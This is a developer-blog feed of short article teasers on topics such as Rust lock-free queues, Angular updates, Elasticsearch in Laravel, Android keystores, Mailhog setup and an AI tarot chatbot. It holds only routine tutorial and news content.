    Talk to Dracula, Grim Reaper & Bloody Mary — each powered by their own AI agent. Halloween should be felt, not just seen. So I built Tantrik — a web experience where you can actually chat with supernatural spirits, each with unique personalities, sounds, animations, and moods. Live App → https://tantrik-web.vercel.app Source Code → https://github.com/luexclothings-hue/tantrik A fully immersive Halloween spirit-chat platform where users talk to: 🧛 Count Dracula – ancient, poetic, blood-obsessed 💀 Grim Reaper – cold, judgmental, metaphor-heavy 👰 Bloody Mary – unpredictable, whispery, mirror-themed Each spirit has: Its own AI agent Custom system prompt Animated background scene Spirit-specific ambience + horror sounds Themed UI + color psychology 🧱 Architectur…  ( 7 min )
    Sector HQ Weekly Digest - November 17, 2025
    Sector HQ Weekly Digest - November 17, 2025 Who's shipping vs who's just talking? Here's this week's AI industry intelligence. OpenAI - Score: 442385.7 | 343 events this week Anthropic - Score: 266113.1 | 51 events this week Amazon - Score: 135242.8 | 22 events this week Nvidia - Score: 128360.7 | 161 events this week Google - Score: 111135.8 | 125 events this week Microsoft - Score: 95559.7 | 99 events this week Meta - Score: 78015.6 | 61 events this week Apple - Score: 64936.3 | 94 events this week Tesla - Score: 41242.1 | 12 events this week AMD - Score: 40235.9 | 43 events this week ↑ Sony jumped 277 positions to #58 ↑ Stability AI jumped 183 positions to #78 ↑ Bytedance jumped 143 positions to #68 ↑ Scale AI jumped 122 positions to #66 ↑ Palantir jumped 107 positions to #17 No high hype alerts this week Total companies tracked: 100 Total events this week: 1317 Average activity per company: 13.2 events The AI industry continues to evolve rapidly. Companies that ship consistently rise in our rankings, while those focused on hype alone get flagged by our Hype Gap detector. Methodology: Our leaderboard tracks real product releases, funding events, partnerships, and market traction - not just PR and social media buzz. Want real-time updates? Check out the live leaderboard at sectorhq.co Track specific companies and get instant alerts when they move in the rankings. Tags AI #ArtificialIntelligence #MachineLearning #TechIndustry #Startups #AILeaderboard  ( 6 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ Rewatch Rundown Bill Simmons, Sean Fennessey, and Van Lathan dive back into Brian De Palma’s under-the-table thriller, Snake Eyes, breaking down Nic Cage’s performance alongside Gary Sinise and Carla Gugino. They riff on the director’s slick visual style, the movie’s twisty conspiracy plot, and whether it still holds up decades later. Podcast Deets & Sponsor Shout This episode of Ringer Movies is produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, and brought to you by PayPal: get 5% cash back when you Pay in 4 through 12/31. Follow the Ringer-Verse and Bill Simmons on YouTube for more deep dives. Watch on YouTube  ( 6 min )
    Decoding Startup Success: Understanding Burn Rate, Runway, and Churn Metrics
    Introduction Startups operate in a dynamic environment where every decision can make or break their success. Monitoring key metrics is essential for startups to stay on track and make informed decisions. In this blog post, we will delve into three crucial metrics that every startup should closely monitor: Burn Rate, Runway, and Churn. Burn Rate Burn Rate is the rate at which a startup is spending its available capital. It is a measure of how quickly a startup is using up its cash reserves. Calculating the burn rate helps startups understand their runway and make necessary adjustments to ensure sustainability. Monthly Burn Rate = (Starting Cash - Ending Cash) / Number of Months Runway Runway is the estimated time a startup has before it runs out of funds, based on its current burn rate. It …  ( 7 min )
    Low Latency Rust : Building a Cache-Friendly, Lock-Free SPSC Ring Buffer in Rust
    In this post, you will learn a fundamental programming pattern in low-latency, high-performance engineering known as the Single Producer Single Consumer Atomic Ring Buffer. But first , why do we even need one ? The "obvious" way to share data between two threads in Rust is with a Mutex. use std::sync::{Arc, Mutex}; use std::collections::VecDeque; let queue = Arc::new(Mutex::new(VecDeque::new())); The problem is contention. Every time the producer wants to send, it has to lock the mutex. If the consumer is currently holding that lock, the producer has to wait. This is a "stop-the-world" event that kills low-latency performance. We can do better. We can build a "lock-free" queue. To do this, we'll build it from scratch using atomics. The Blueprint: The SPSC Ring Buffer. Our data structure…  ( 9 min )
    Instagram & WhatsApp Invisible Text Tricks: Creative Uses You Haven't Tried
    Bio spacing: Draft in Notes, replace blank lines with Zero-Width Space (U+200B) from blankspacecopy.net, then paste into Instagram. Mobile clients remove true blank lines but keep U+200B, so sections stay separated. Caption breaks: Insert three or four invisible lines between the caption body and location tag or hashtags to push metadata below the fold. Hashtag separation: Drop a short block of U+200B lines between the caption and hashtag list. Engagement stays the same while the feed looks cleaner. Blank status: Paste U+200B into the Text Status composer, choose a background color, post. It reads like an intentional empty card without disabling Status. About section: Replace | separators with stacked lines of U+200B. Each descriptor sits on its own line, yielding neat vertical spacing. Message timing: Add a dozen invisible lines after “I need to tell you something” to build suspense before the punch line. Use sparingly. Save a reusable template in Notes: [Name] [U+200B] [Role] [U+200B] [Link] Paste the block into Instagram, WhatsApp About, Twitter, or Discord with zero reformatting. When sharing links inside captions or chats, bracket the URL with invisible lines to create breathing room without extra punctuation. Instagram Stories and some comments collapse invisible characters—test where most followers read you. WhatsApp counts invisible characters toward the 139-character status limit, and some business clients filter them. If spacing disappears, switch to Zero-Width Non-Joiner (U+200C); if squares appear, revert to U+200B. Screen readers may announce “blank” repeatedly, so avoid using invisible spacing for essential information. Before publishing, preview on both mobile and desktop, capture a screenshot for reference, and run a VoiceOver or TalkBack check when accessibility matters.  ( 7 min )
    Convert PDF to Word in Java: A Comprehensive Guide with Spire.PDF
    Converting PDF documents to editable Word formats is a common requirement in many Java applications. This process can be challenging due to the complex structure of PDFs and the need to preserve formatting and content accuracy. This tutorial explores how to effectively convert PDF to Word in Java, focusing on the powerful Spire.PDF for Java library to address these conversion challenges. Spire.PDF for Java is a professional PDF API that enables developers to create, write, edit, convert, and read PDF documents in Java applications without relying on Adobe Acrobat. It supports a wide range of features, including PDF to Word conversion. To begin, you need to add Spire.PDF for Java to your project. If you are using Maven, include the following dependency in your pom.xml file: …  ( 8 min )
    How to implement FFT algorithm in FPGA?
    You don’t “write an FFT in C and compile it to the FPGA” – you build an FFT datapath (butterflies, memories, twiddle-factor multipliers) plus control logic, or you use the vendor’s FFT IP core. I’ll give you both paths: (A) use IP and (B) build your own. A. The practical way: use the vendor’s FFT IP core If your goal is “I want an FFT working on FPGA”, not “I want to learn FFT architecture design in depth”, do this: 1. Decide your requirements FFT length: e.g. N = 256, 1024, 4096 Data type: typically fixed-point, e.g. 16-bit real/imag Transform type: Complex → complex Real → complex (more efficient if input is real only) Throughput: Streaming (one sample per clock) Burst/block (feed an N-point block, wait, get N outputs) 2. In Xilinx / Intel tools Xilinx (Vivado / Vitis HLS) Use “Discrete…  ( 8 min )
    Why TrivialAugment Works (Even When It Shouldn’t)
    What is TrivialAugment (TA)? TrivialAugment sits at the far end of the augmentation-policy spectrum. TA essentially asks: What if we drop everything except the randomness? No policy sets. This is why it’s called “Trivial" because the method intentionally avoids any form of design complexity. How does TA differ from RA? Where RA still requires two global hyperparameters (N and M), TA eliminates both: Instead of picking N transformations per image, TA picks one. Instead of applying a global magnitude M, TA randomly samples the magnitude individually for each transformation. Instead of relying on a curated set of transformation pairs, TA simply draws from the full augmentation pool without structure. The result is a method that: Has zero tunable hyperparameters. Requires essentiall…  ( 7 min )
    Using CTEs When Your ORM Says No (The Lazy Developer's Survival Guide)
    You just spent two articles learning about CTEs. You're excited. You've seen the power. You understand the elegance. You're ready to refactor that nightmare query that's been haunting your dreams. You open your ORM documentation... 404: CTE support not found. "Wait, WHAT? Every database has supported CTEs since 2005-2018, but my ORM doesn't?" Welcome to the final boss fight: making CTEs work in real projects despite ORM limitations. This is Part 3 of 3 - the practical guide to actually using what you've learned. Most popular ORMs don't support CTEs natively (Doctrine, Hibernate, Eloquent) Three rebels do support them: SQLAlchemy Core, jOOQ, Django 4.2+ For hostile ORMs: Repository pattern, database views, hybrid approach Security is non-negotiable: Always use parameterized queries Decisi…  ( 19 min )
    Building Better on AWS: A Practical Guide to the Well-Architected Framework
    AWS is huge, hundreds of services and thousands of features. So many services, so many possibilities, and hence, so many ways to mess things up. A misconfigured S3 bucket. That's all it took for Capital One to lose 100 million customer records in 2019. What if someone had asked the right questions about their architecture? What if there is a free tool to systematically review your entire environment and workloads against AWS best practices? To top it up, what if AWS pays you to fix these risks? How do we build better on AWS? That's where the AWS Well-Architected Framework comes in. Think of the AWS Well-Architected Framework as your architectural guardrails — a set of battle-tested best practices that AWS has compiled from working with thousands of customers. It's not some rigid rulebook t…  ( 13 min )
    Master JavaScript: Complete Guide for Beginners with Examples
    JavaScript is one of the most popular and powerful programming languages used for building dynamic and interactive web applications. Whether you are a student, a beginner in coding, or someone aiming to become a web developer, learning JavaScript Tutorial is an essential step toward mastering modern web development. It allows developers to add interactive features like buttons, sliders, animations, forms, and real-time updates to websites, making them more engaging and user-friendly. Along with HTML and CSS, JavaScript forms the core foundation of frontend development, and it is widely used with frameworks such as React, Angular, and Vue. In this complete beginner-friendly guide, you will learn the basics of JavaScript, key concepts, examples, and practical exercises to start writing code …  ( 8 min )
    Liman Mail Ayarları
    Mock mail sunucusu kurmak Mailhog Mailhog, gönderilen e-postaları yakalayıp kendi web arayüzünde gösteren bir servistir. Gerçek bir mail sunucusu değildir. Test ortamlarında kullanılan geçici bir mail sunucusu gibi düşünülebilir. Mailhog indirilir ve çalıştırma izni verilir. sudo wget -O /usr/local/bin/mailhog https://github.com/mailhog/MailHog/releases/download/v1.0.0/MailHog_linux_amd64 sudo chmod +x /usr/local/bin/mailhog /etc/systemd/system/mailhog.service servis dosyası oluşturulur ve içi şu şekilde doldurulur. [Unit] Description=Mailhog After=network.target [Service] ExecStart=/usr/bin/env /usr/local/bin/mailhog > /dev/null 2>&1 & [Install] WantedBy=multi-user.target Sistemin, servisi görmesi sağlanır ve servis başlatılır. sudo systemctl daemon-reload sudo systemctl enable --now mailhog Mailhog iki port açar: 8025: web arayüzü için 1025: mail gönderilmesi için Tarayıcıdan http://:8025 adresi ile mailhog arayüzüne gidilebilir. Liman arayüzünden Ayarlar / E-Posta sayfasına gelinir. Sunucu Adresi ve Sunucu Portu kısmına mail sunucusunun adresi ve mail servisinin çalıştığı port yazılır. Kullanıcı Adı ve Parola kısmına test mailinin gelmesi istenilen mail adresi ve parolası yazılır. Şifreleme Türü seçilir ve E-posta gönderimini aktifleştir seçeneği işaretlenir. Bu ayarlar yapıldıktan sonra liman üzerinde yapılan işlemler (kullanıcı oluşturma / şifresini değiştirme, sunucu ekleme / silme...) ilgili kullanıcıların mail adreslerine gönderilir. Eğer mailhog kullanılıyorsa gelen bu mailler, web arayüzü üzerinden kontrol edilebilir.  ( 6 min )
    Smart_Store Schema Guide: Future-Proofing Your Data with Versioning
    Let’s be honest—data doesn’t stay still. As your application evolves, so do your data models. New fields get added, formats change, and business logic shifts. But if you’ve ever tried to update a live system without breaking everything, you know how painful schema evolution can be. That’s where Smart_Store steps in with a clean, reliable solution: schema-based item management with versioned migrations. Why Schema and Versioning Matter Smart_Store treats your data like a first-class citizen. Every item—whether it’s a User, Product, or Transaction—has a defined schema that outlines its structure. And when that structure changes, Smart_Store doesn’t panic. It tracks schema versions and automatically upgrades legacy data during import. Benefits at a glance: Backward compatibility with older fo…  ( 7 min )
    Going ahead with Clean Architecture in Android. Example with complex navigation.
    Let's continue talking about Clean Architecture in Android. Unlike previous example we will move away out of encapsulation principle. It's not so good but if we have some complex navigation when you have to move to different features and don't have a main menu or something like this, it's much more simple is making pubic routes than injecting navigation functions from NavGraph to each composable component. Here I wanna concentrate on navigation. Platform is only Android (not CMP/KMP) Our project is multi-module The :app module have a navigation to each screen The features have their own screens The features are independent on each other The feature can navigate to another feature directly There's some pieces of data that have to be in many screens The navigation routes are keeping in this…  ( 7 min )
    Implementing the Inbox Pattern with Brighter V10 using Kafka and PostgreSQL
    In my previous article, we explored the Inbox Pattern as a solution for ensuring exactly-once message processing in distributed systems. Today, we'll dive into a practical implementation using Brighter (a .NET command processor and dispatcher) combined with PostgreSQL as our inbox store and Kafka as our message broker. This setup provides a robust foundation for building reliable event-driven microservices that can recover gracefully from failures while maintaining message integrity. We will build a .NET 8+ service that consumes/produces messages from a Kafka topic, processes them using Brighter's, and uses a PostgreSQL database as the persistent inbox to ensure idempotency and reliability. You can choose between two setup styles: Pure Brighter Packages: Paramore.Brighter.Inbox.Postgres Pa…  ( 10 min )
    Day 37: Python Image Search, Case-Insensitive Filter for Matching Terms in Lists
    Welcome to Day 37 of the #80DaysOfChallenges journey! This beginner challenge involves filtering a list of image names to find those containing a search term, ignoring case, using string methods for normalization and containment checks to keep the original order. It's a straightforward way to practice list iteration, lowercasing for comparisons, and building results, common in search features or file management. If you're honing basics in string handling or list filtering without lambdas, this "Python image search" example illustrates a function that's simple to implement and adjust for other matching criteria like extensions or prefixes. This task creates a function that scans a list, checks for term matches case-insensitively, and collects hits in order. It's a basic filter pattern: norm…  ( 11 min )
    Digital Zoom vs. Cropping: Are They the Same Thing?
    If you have ever zoomed in on a photo on your phone and noticed it gets blurry, or tried simulating "zoom" in code by slicing an image, you may have wondered: Is digital zoom just cropping? Let's unpack this. Zooming simply means enlarging a picture in a way such that the details in the image become clear and visible to see. In essence, zooming in lets you see the details more clearly. It does not involve any moving optics. Internally, it usually does two things: Crops a region of interest (ROI) from the center (or target area) of the full resolution sensor image. Upscales that cropped region to match the original resolution (eg., via interpolation: bilinear, bicubic, Lanczos, etc.) What does this result in? Same pixel count as the original image - but with less real inform…  ( 7 min )
    The magic of auto-fit and auto-fill (and the difference between them)
    .grid { display: grid; gap: var(--gap, 1rem); grid-template-columns: repeat( var(--grid-type, auto-fit), minmax(min(180px, 100%), 1fr) ); grid-auto-rows: 120px auto auto; container-type: inline-size; } https://codepen.io/kevinpowell/pen/yyLYoZO https://www.youtube.com/watch?v=OZ6qKoq7RJU  ( 5 min )
    MachineTranslation.com Rolls Out SMART: One Consistent Translation Backed by Multiple AI Engines
    So you’re no longer reliant on a single AI engine. Up to now, working with AI for translation has typically meant juggling three, four, or even five AI tabs just to feel reasonably confident. One engine might suddenly start to “hallucinate,” another can miss important nuance, and the requester often doesn’t know the target language well enough to spot what went wrong. This scenario is especially common for small and medium-sized businesses (SMBs), agencies, and non-linguist professionals who simply can’t justify a full human review every single time. SMART on MachineTranslation.com removes that ongoing doubt. With a single click, it surfaces the sentence-level translation that the majority of AI engines align on (so users are no longer forced to guess which AI output deserves their trus…  ( 8 min )
    How to implement dynamic data preloading through backend pagination prefetching?
    Read the original article:How to implement dynamic data preloading through backend pagination prefetching? Problem Description How to implement dynamic data preloading using List, LazyForEach, and Prefetcher, and load data through background pagination? Background Knowledge Prefetching can be used in conjunction with LazyForEach to provide content preloading capabilities for container components such as List, Grid, WaterFlow, and Swiper during scrolling, enhancing the user browsing experience. Solution Developers can use BasicPrefetcher to call the background pagination interface at the right time based on the real-time changes in the visible area on the screen and the changes in the prefetch duration, thereby determining which data items should be prefetched. Specific code can refer to pagination preloading Written by Aycanur Ucar  ( 6 min )
    Why DevOps Engineers Fail in Production: The Hidden Truth About Technology Stack Understanding
    Answer: THEY CANNOT. Let me break this down clearly and sharply so you understand the reality. 🧨 REALITY IN INDUSTRY (What you are seeing) Most DevOps engineers: run docker compose up run kubectl apply run CI/CD pipelines deploy artifacts restart services tail logs check status commands But they don’t know: how the application works the internal configuration of Tomcat Java memory parameters Kafka listener mechanics Redis persistence modes MySQL replication Nginx routing Spring Boot internals Node.js event loop JVM tuning So when a real issue comes? 🔥 They fail. 🔥 WHO ACTUALLY FIXES REAL ISSUES? A real DevOps or SRE must fix issues at multiple layers: 1.Infrastructure layer CPU spikes Disk I/O saturation Memory leaks Network bottlenecks DNS issues Firewall issues Container cgroups limit…  ( 7 min )
    The Developer's Guide to Stress-Free Angular Updates
    Let's be honest. You see those package.json dependencies, you know they're outdated, and you feel that little twinge of dread. "If I update that, will the whole app explode?" We've all been there. That feeling of staring at a "simple" update task that feels like it could either take 10 minutes or 10 days is a classic part of the developer journey. It's easy to put it off, letting your app's foundation get older and older. But here’s the thing: keeping your Angular app up-to-date isn't just a "nice-to-have" chore. It's a core part of building future-ready, secure, and scalable products. A clunky, outdated stack is a form of technical debt that leads to security holes, slow performance, and eventually, a product that’s impossible to maintain. As someone who believes deeply in the "Frontend-F…  ( 10 min )
    How can we integrate Bolna AI With Google Sheets?
    You know that feeling when you have a list of 50 people to call for reminders, confirmations, or surveys, and you're sitting there thinking "there has to be a better way than dialing each number manually"? Well, I just discovered something that's going to completely change how you think about phone outreach, and I had to share it with you right away. Picture this: You have a spreadsheet with phone numbers. You hit a button. AI agents start making those calls automatically. The conversations happen naturally. Results get written back to your spreadsheet. All without you lifting a finger. Sounds too good to be true? That's exactly what Bolna + Google Sheets makes possible, and honestly, it's brilliant. Whether you're running a small business, managing events, or handling customer support, ph…  ( 13 min )
    Automated Tax Compliance for Global E-Commerce Growth
    Choosing an e-commerce platform today means choosing your capabilities for the next 5-10 years. Most businesses focus on features and design, overlooking a critical question: can this platform handle tax compliance as we grow, regulations change, and new sales channels emerge? Real-time performance matters more than you think. Every millisecond at checkout affects conversion. Legacy tax calculation systems add 300-500ms latency per request — enough to impact sales. Worse, they often fail silently during high-traffic periods, forcing you to choose between lost sales or compliance risk. Headless architecture becomes critical as your business evolves. Selling through mobile apps, marketplaces, social commerce, and IoT devices means your tax system needs API-first design. Shopify's monolithic …  ( 8 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    Bill Simmons, Sean Fennessey, and Van Lathan dive back into Brian De Palma’s ’98 thriller Snake Eyes—crowned themselves “kings of the sewer” as they dissect Nic Cage’s electric lead, Gary Sinise’s twisty detective work, and Carla Gugino’s standout moments. It’s a laid-back yet razor-sharp chat that’ll have you seeing this cult classic in a whole new light. Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, the episode is powered by PayPal—score 5% cash back on holiday buys when you Pay in 4 through 12/31. Time to binge! Watch on YouTube  ( 6 min )
    How to Write Your Own Static File Server in Pure Node.js
    Prerequisites 💻 A computer (Windows, macOS, or Linux) Node.js installed About 5 minutes of your time Create a project folder (i.e. node-project) Create public folder inside you node-project folder Inside your public create index.html and style.css Paste below content on your index.html Aryan – Freelance Developer Hello, I'm Aryan Khandelwal — a freelance developer from India 🇮🇳 I help businesses build fast, modern, and scalable web applications. My key services include: <ul…  ( 7 min )
    Transformers: The Magic Engine Behind ChatGPT, Gemini & Every Modern AI Model!
    I want to walk you through one of the most important breakthroughs in modern artificial intelligence. The model family called Transformers changed everything about how machines read, understand, and generate language. In this article I explain why Transformers were invented, how they work, and why they sit at the core of systems like GPT, BERT, LLaMA, Claude, and Gemini. I will start from the basics and build up step by step so you can see the full story from simple neural networks to the powerful attention based architecture that powers today's most generative AI systems. When I first learned about sequence processing in AI I noticed a consistent pattern. Early neural networks were great at classifying static inputs like images or tabular data. But language is not a static object. Languag…  ( 17 min )
    India’s Leading AI Development Companies: Top 20 List — Explore India’s top AI firms delivering smart, scalable solutions. InnovationM is listed among the top 5. Full post: https://www.innovationm.com/blog/top-10-ai-development-companies-in-india-2025/
    Top 10 AI Development Companies in India 2025 Discover India’s best AI development providers, right from startups to global enterprises, and choose the right AI development company for your business. innovationm.com  ( 6 min )
    Building a Brand That Reflects Your Commitment to Ethical Tech Practices: Why Integrity Is Your New Competitive Edge
    “In tech, you can grow fast… or you can grow trusted. The winners do both.” A few months ago, I watched a close friend uninstall one of her favorite apps — an app she had used daily for nearly three years. Why? A single headline exposed that the company had been collecting far more data than it claimed, and in that moment, her trust vanished. Not because the product stopped working. Not because the UI was bad. Not because a competitor offered something better. That moment reminded me of a powerful truth: 👉 In today’s digital world, your ethical commitment is not a “nice to have.” It is a core part of your brand identity — and one of your strongest differentiators. This article will show you exactly how to build a brand rooted in ethical tech practices, attract value-driven users, and earn…  ( 8 min )
    How to Enable Storyblok Visual Editor in Production?
    Storyblok is a headless CMS that gives developers flexibility and editors a visual interface to manage content. One of its most powerful features is the Visual Editor, which allows content editors to see real-time changes directly on the website. In this article, we’ll cover what the Visual Editor is and why it matters, how to enable it in production in Nuxt 4 using @storyblok/nuxt, and share best practices for small vs large projects. Enjoy! The Storyblok Visual Editor is a visual content editing interface that lets editors see their content changes in real time on your site. Unlike editing raw content in the CMS, the Visual Editor shows how content will appear within your actual page layout, providing a more intuitive and faster editing workflow. In production, this feature is especiall…  ( 7 min )
    Introduction to Swarm: an extensible Typescript code generation framework
    Part 1: An Extensible Typescript Code Generation Framework Part 2: Building Full-Stack Apps With Wasp As developers, we all reach a point when writing repetitive boilerplate stops being a minor annoyance and starts having a real impact on our productivity. You find yourself creating the same directory structure, writing the same configuration blocks, copying and pasting similar component patterns, then tweaking each instance slightly. What begins as a few minutes here and there quickly adds up to hours lost on manual scaffolding. That's where this journey began for me. Initially, I built a collection of scripts to automate component creation for a side project. But the more I used those scripts, the more I realised this problem wasn't unique to my project or the framework I was using. …  ( 10 min )
    Introduction to Swarm: Building full-stack apps with Wasp
    Part 1: An Extensible Typescript Code Generation Framework Part 2: Building Full-Stack Apps With Wasp In Part 1, I shared the evolution of Swarm from a collection of project scripts into a full boilerplate generation framework. In this article, we'll walk through the steps of building a Wasp application using the Swarm Wasp Starter template, and I'll demonstrate how the generators work with real examples. I'll be referencing the kitchen-sink example project from the Wasp repository throughout this article. It's a comprehensive example that features all major Wasp features, so it serves as a good reference point to understand how Swarm works. Swarm implements a couple of notable changes to standard Wasp projects that it's useful to be aware of. Wasp allows you to organise projects howev…  ( 13 min )
    Migrating Metabase Content Between Instances: A Production-Ready Solution for Data Teams
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    Errors in my Next.js Project
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    Research Survey on RAG Development Practices & Challenges (8-10 mins)
    Hey everyone! 👋 I'm a final-year CS student at NTU Singapore working on my Final Year Research about RAG pipelines. I'm working on a tool designed to help developers evaluate and compare different RAG techniques (retrieval methods, rerankers, etc.). Before enhancing the tool, I would really like to understand: How developers currently build and evaluate RAG pipelines What challenges you face when choosing RAG techniques What features would actually be useful in an evaluation tool I'd love to invite anyone who has worked with or is interested in RAG systems to fill out a short 8-10 min anonymous survey: https://ntusingapore.qualtrics.com/jfe/form/SV_1Ci8hKBioJaOyeG Your insights would be incredibly valuable for this research! Whether you're experienced with RAG or just getting started, I'd love to hear your perspective. I'll be sure to share some results and key findings with the community once data collection is complete! Do help to share with anyone who might be interested too! Thanks in advance! 🙏  ( 6 min )
    Unlocking the Universe: Can Quantum Algorithms Decode Particle Trajectories?
    Unlocking the Universe: Can Quantum Algorithms Decode Particle Trajectories? Imagine trying to piece together a jigsaw puzzle with billions of tiny, invisible pieces. That's essentially what particle physicists face when reconstructing the paths of particles from high-energy collisions. The sheer computational power needed for this task is reaching its limits, threatening the pace of scientific discovery. The core concept lies in leveraging variational quantum algorithms (VQAs) to find optimal solutions to complex optimization problems. Think of it like using a quantum-powered fine-tuning knob to adjust parameters until the algorithm finds the best way to connect the dots – or in this case, the particle hits registered in a detector system. Instead of brute-force calculations, VQAs cleve…  ( 7 min )
    Architectural Construction Drawings: Types, Standards, and Best Practices
    Architectural construction drawings are the backbone of every successful building project. From communicating design intent to ensuring on-site accuracy, these documents provide the clarity, precision, and technical detail required for smooth execution. Whether you're an architect preparing permit drawings, a contractor planning construction sequencing, or a developer evaluating project feasibility, understanding construction drawings is essential. This guide breaks down types of architectural drawings, industry standards, CAD vs. BIM workflows, common mistakes to avoid, and how professional construction documentation services improve accuracy and compliance. Architectural construction drawings (also known as working drawings or building plans) are detailed graphical representations of a …  ( 9 min )
    Designing Safer, Smarter Outdoor Playgrounds: A Developer’s Technical Guide
    Modern playgrounds are no longer just simple play structures—they are complex, safe, and engaging environments designed with advanced materials, safety standards, and even technology. For developers and engineers, this means focusing on not only physical design but also integrating innovations like smart technology and eco-friendly materials. This article explores the key technical aspects of designing outdoor playgrounds that are safe, functional, and fun. Materials and Engineering: Durability and Safety The materials used in playgrounds are critical for safety and longevity. Commonly used materials today include: Recycled Plastics (e.g., HDPE): Durable, weather-resistant, and used for elements like slides and climbing walls. Composite Materials: These combine wood fibers and plastics, re…  ( 7 min )
    Natural-Language SQL on Atlassian Forge: A Secure Pattern with Rovo (LLM) + Forge SQL (TiDB)
    While working on a Forge app that stores structured metadata in Forge SQL, I explored how Rovo could be used not only for documentation/explanations but also for natural-language analytics. Forge Secure Notes for Jira — built with forge-sql-orm) Rovo can generate SQL from natural language with high accuracy, but executing LLM-generated SQL requires a carefully controlled environment. This post describes a reproducible pattern for using Rovo with Forge SQL safely and predictably - with strict query validation, enforced single-table scope, row-level security, metadata checks, and EXPLAIN-based join detection. Executing arbitrary SQL from an AI model introduces risks: Rovo must never be trusted to enforce constraints. All protections belong in the backend executor. Solution: The “Guide + Gua…  ( 10 min )
    Why Azure Front Door Is My Favorite Global CDN + Load Balancing Service
    When you’re deploying apps in multiple regions, you quickly realize that your setup must solve three major challenges: Global Traffic Routing Content Delivery / CDN Health Checks + Failover In AWS, this usually requires a combination of services: CloudFront (CDN) Application Load Balancer (ALB) Route 53 (Global DNS routing) Regional EC2 / container backends These are all great services, but they come with extra wiring and configuration. Azure Front Door stands out because it combines: Global load balancing Smart routing Built-in CDN Health probes WAF (Web Application Firewall) …all inside one single service. In simple words: 👉 What AWS solves using 3–4 services, Azure solves with ONE Azure Front Door. This makes the architecture simpler, easier to explain, and beginner-friendly. Let’s bre…  ( 8 min )
    Vibe Coding a Power App the Pro way with Code Apps
    In a world of new AI tools and rebranding its hard to keep track of everything Microsoft has launched, but there is one kind of cool one that never got as much attention as I think it should and with the influx of new it probably wont. We are all talking about App Builder, and Generative Pages in Model Driven Apps, but there are also Code Apps. Code Apps only launched a few months ago, pitched as a way for Pro-Developers to build full React Apps in the Power Platform. But in my humble opinion that wasn't what they were created for, they were actually created so that the current crop of vibe coding tools could be used in the Power Platform. I'm not a React developer so I won't talk about actually building in React, so I will talk about: What They Are Basic Setup Vibe Coding Experience Canva…  ( 12 min )
    🔥 How to Generate a JKS Keystore Without Android Studio (Complete Guide)
    A simple tutorial for creating a .jks file using Keytool — with fixed passwords, alias, and automated command Android developers often rely on Android Studio to generate a signing keystore for their apps. But what if you want to create a .jks file without opening Android Studio? This guide walks you through: Installing the JDK (if missing) Enabling the keytool command Generating a .jks keystore non-interactively Using fixed credentials (storePassword, keyPassword, alias) Creating a matching key.properties file Let’s get started. 1. The Goal (What We Want to Generate) We want a .jks file named: goalkings.jks With these credentials: storePassword = goalkings keyPassword = goalkings keyAlias = goalkings storeFile = goalkings.jks And we want to generate it using a single comm…  ( 8 min )
    Untapped Opportunities for Developers in Spanish-Speaking Markets: AI & the Future of Real Estate
    The Spanish-speaking world—spanning Spain and more than 20 countries across Latin America—represents one of the most overlooked but high-potential markets for software developers and AI-focused startups. With more than 500 million native Spanish speakers, a rapidly growing digital economy, and industries still in the early stages of tech adoption, the region offers enormous room for innovation, especially for engineering teams capable of delivering scalable, AI-powered solutions. One industry in particular stands out as a goldmine for developers: real estate. Real estate markets in Spain, Mexico, Colombia, Chile, Argentina, and Peru are experiencing the same challenges the U.S. and Northern Europe faced years ago: fragmented property data, outdated agency tools, limited automation, weak an…  ( 7 min )
    Your Laravel App is Choking on Search Queries (Here's How to Fix It in 47 Lines)
    💡 Manual aggregations in Laravel = slow queries + messy code + sad users 🔥 Elasticsearch does in milliseconds what takes your foreach loops seconds ✅ Real example: 2000+ lines → 47 lines, 8s → 180ms ⚠️ You're probably over-engineering your search right now 🎁 Copy-paste solution included below Picture this: It's 2 AM. Your Laravel app just crashed. Again. The culprit? A "simple" product search with faceted filters. You know, the kind every e-commerce site has. Categories on the left, price ranges, brands... Your code looks something like this: // RIP your database 💀 $products = Product::where('status', 'active')->get(); $categories = []; foreach ($products as $product) { if (!isset($categories[$product->category_id])) { $categories[$product->category_id] = 0; } $cat…  ( 10 min )
    When React’s Philosophy Isn’t Enough and Data Attributes Save the Day
    The Data-Attr Dilemma : Data attributes can be incredibly useful, but in React they often feel like they go against the framework’s core patterns and philosophy. Still, I eventually ran into real problems where I had no choice but to use them. So today, I want to talk about this little tension between data attributes and React, and explore when they actually do make sense. Let’s first do a quick refresher on data attributes in plain HTML , then we’ll dig into the real question: how (and why) React sometimes clashes with them. data- is considered a data attribute. The part that comes after "-" is treated as the attribute’s key, and we can assign any custom value to it. For example: The main purpose of data attributes is to store custom …  ( 10 min )
    Building a Production-Ready AI ChatBot Platform with Real-Time Analytics
    🎯 Introduction In this article, I'll walk you through the architecture and implementation of a complete, production-ready AI chatbot platform that I've built from scratch. This isn't just another chatbot tutorial—it's a comprehensive system featuring OAuth 2.0 authentication, real-time WebSocket communication, OpenAI integration, and a full-featured analytics dashboard. What makes this project special? 🏗️ Microservices Architecture: Four independent services working together seamlessly 🔒 Enterprise-Grade Security: OAuth 2.0 with JWT tokens and role-based access control 💬 Real-Time Communication: WebSocket support for instant messaging 📊 Integrated Analytics: Live metrics and user activity tracking 🚀 Production Ready: Docker deployment, comprehensive testing, and cross-platform supp…  ( 16 min )
    From Specs to Spooky: Using Kiro to Build My AI Psychic Hotline
    For a Halloween-themed hackathon, I decided to build AI Psychic Hotline – a web app where you choose a “realm,” ask a question, the system draws tarot cards, and an AI “psychic” generates a themed fortune that you can read (and optionally listen to) in a Halloween-inspired interface. Instead of jumping straight into ad-hoc coding, I tried to use Kiro’s spec-driven workflow end to end: PRD → SRS → SDD → Kiro spec → implementation → quality checks. This post walks through how I used Kiro’s features – spec-driven development, vibe coding, steering docs, hooks, and MCP – to keep the project structured and consistent. Before writing code, I created three documents: PRD (Product Requirements Document) SRS (Software Requirements Specification) EARS pattern and following INCOSE-style quality rul…  ( 11 min )
    Pagination in flutter
